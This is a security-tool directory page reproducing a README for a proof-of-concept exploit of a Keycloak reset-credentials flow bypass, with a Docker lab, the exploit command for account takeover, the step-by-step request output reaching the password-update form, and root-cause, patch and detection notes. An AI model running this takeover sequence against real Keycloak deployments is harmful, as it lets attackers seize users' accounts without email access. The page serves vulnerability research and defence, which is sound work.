Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/gman0x00/keycloak-cve-2026-18963
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLabs & Practice
GitHubgman0x00/keycloak-cve-2026-18963

keycloak-CVE-2026-18963

PoC, Dockerfile playground and root cause from patch diff analysis.

View Repository
1 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-18963 - Keycloak reset-credentials flow bypass

Docker setup for testing Keycloak 26.x versions affected by the reset-credentials flow bypass. The included lab pins Keycloak 26.6.2, which is in the affected range (>26.0 and <26.7.2).

Lab setup

Requirements: Docker, Docker Compose, Python 3. Tested with Docker image quay.io/keycloak/keycloak:26.6.2.

root@kitploit:~
docker compose up -d
curl http://127.0.0.1:8080

The compose file starts Keycloak 26.6.2 with a temporary admin/admin-password-for-lab administrator. Create a test realm and user through the Admin Console or Admin REST API. The reset flow must be enabled and the built-in reset-credential-email execution must be reachable. ATO example:

root@kitploit:~
python Keycloak_CVE_2026_18963.py \
  http://127.0.0.1:8080 --realm <known realm> --username <known victim> \
  --new-password '<pw>' \
  --allow-loopback-http-cookie --change-password

The loopback-cookie option exists only for this HTTP Docker lab. Successful validation / exploitation

root@kitploit:~
[1 auth] 200
http://127.0.0.1:8080/realms/lab/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_u
ri=http%3A%2F%2F127.0.0.1%3A8080%2Frealms%2Flab%2Faccount
[2 reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[3 selector] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=Wwe-IHExupWb_ILMjGyo3yEQ2HaXVmJpOs9B0BqonaM&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[4 email execution] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=28vxgj65L2OrGVnpVsgnRDcuBDMsOQvLxCTTO4AU5hk&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[5 restart] 200
http://127.0.0.1:8080/realms/lab/login-actions/authenticate?client_id=account&tab_id=p6T6Jg9X6Eo&client_data=eyJydSI6Imh0d
HA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[6 stale reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[7 bypass] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?execution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g61
4jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[+] Vulnerable: password-update form reached without email action token
[8 password update] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?session_code=SZO0z_bfNhtxJ1akEIZDdrZzNNJfZ8iELQwLsnXYY90&ex
ecution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvb
GFiL2FjY291bnQiLCJydCI6ImNvZGUifQ

CVE-2026-18963 - Reset-Credentials Flow Bypass

Unauthenticated account takeover when Forgot Password uses the vulnerable built-in reset-credentials flow. The email-possession step is marked successful without consuming its action token, advancing the attacker to UPDATE_PASSWORD.

Root Cause

Two state-machine defects combine:

  1. tryAnotherWay stored AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED=true as a global boolean in the authentication session. It was not bound to the execution that displayed the selector, allowing stale selector state to affect another reset-flow execution.
  2. Pre-patch ResetCredentialEmail.action() accepted any invocation:
root@kitploit:~
@Override
public void action(AuthenticationFlowContext context) {
    context.success();
}

A crafted reset-flow sequence can therefore manipulate the selector/current-execution state and invoke the email authenticator action without clicking the emailed link. Keycloak treats the email step as complete and exposes the password-update execution for the selected victim.

The reset email may still be generated and SEND_RESET_PASSWORD logged. Possession of the mailbox or token is not required.

Patch

Selector state is now bound to the exact execution model:

root@kitploit:~
setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());

The note is removed if it does not match CURRENT_AUTHENTICATION_EXECUTION. More importantly, the email action now requires an action-token identity matching the flow user:

root@kitploit:~
UserModel user = context.getUser();
String tokenUserId = context.getAuthenticationSession()
    .getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);

if (user != null && user.getId().equals(tokenUserId)) {
    context.success();
} else {
    context.failure(AuthenticationFlowError.INVALID_USER);
}

Preconditions / Impact

  • Community and Red Hat Keycloak 26.x inherited the vulnerable keycloak-services flow; the exploitable selector-state change was introduced in 26.0.0.
  • Forgot Password/built-in reset-credential-email must be reachable and bound. Disabling Forgot Password prevents this path.
  • Knowing a username/email is sufficient against the default reset flow.
  • Normal login MFA does not protect the reset flow. An additional OTP/WebAuthn authenticator inside reset-credentials can prevent complete takeover.
  • Fixed public community release: 26.7.2. Fixed Red Hat/backport lines referenced upstream: 26.4.15 and 26.6.6; later releases include the fix.

Detection

Keycloak lacks a definitive “email token skipped” event. Correlate flow timing and reverse-proxy logs:

  • same code_id: SEND_RESET_PASSWORD → UPDATE_PASSWORD within seconds
  • reset-credentials POSTs, commonly including tryAnotherWay, immediately before password update
  • no intervening GET /login-actions/action-token, which a legitimate email click generates

This is heuristic: a user with the email already open can reset quickly, and absent events prove nothing where logging/retention was disabled.

Assessment

Authentication-flow state confusion + unconditional authenticator success bypasses a possession check. General test edge: whenever an authentication execution can be revisited, switched with “try another way”, or resumed from an old URL, verify each authenticator revalidates its own proof instead of trusting shared flow state.

Upstream patch reference: https://github.com/keycloak/keycloak/pull/51844

Download Tool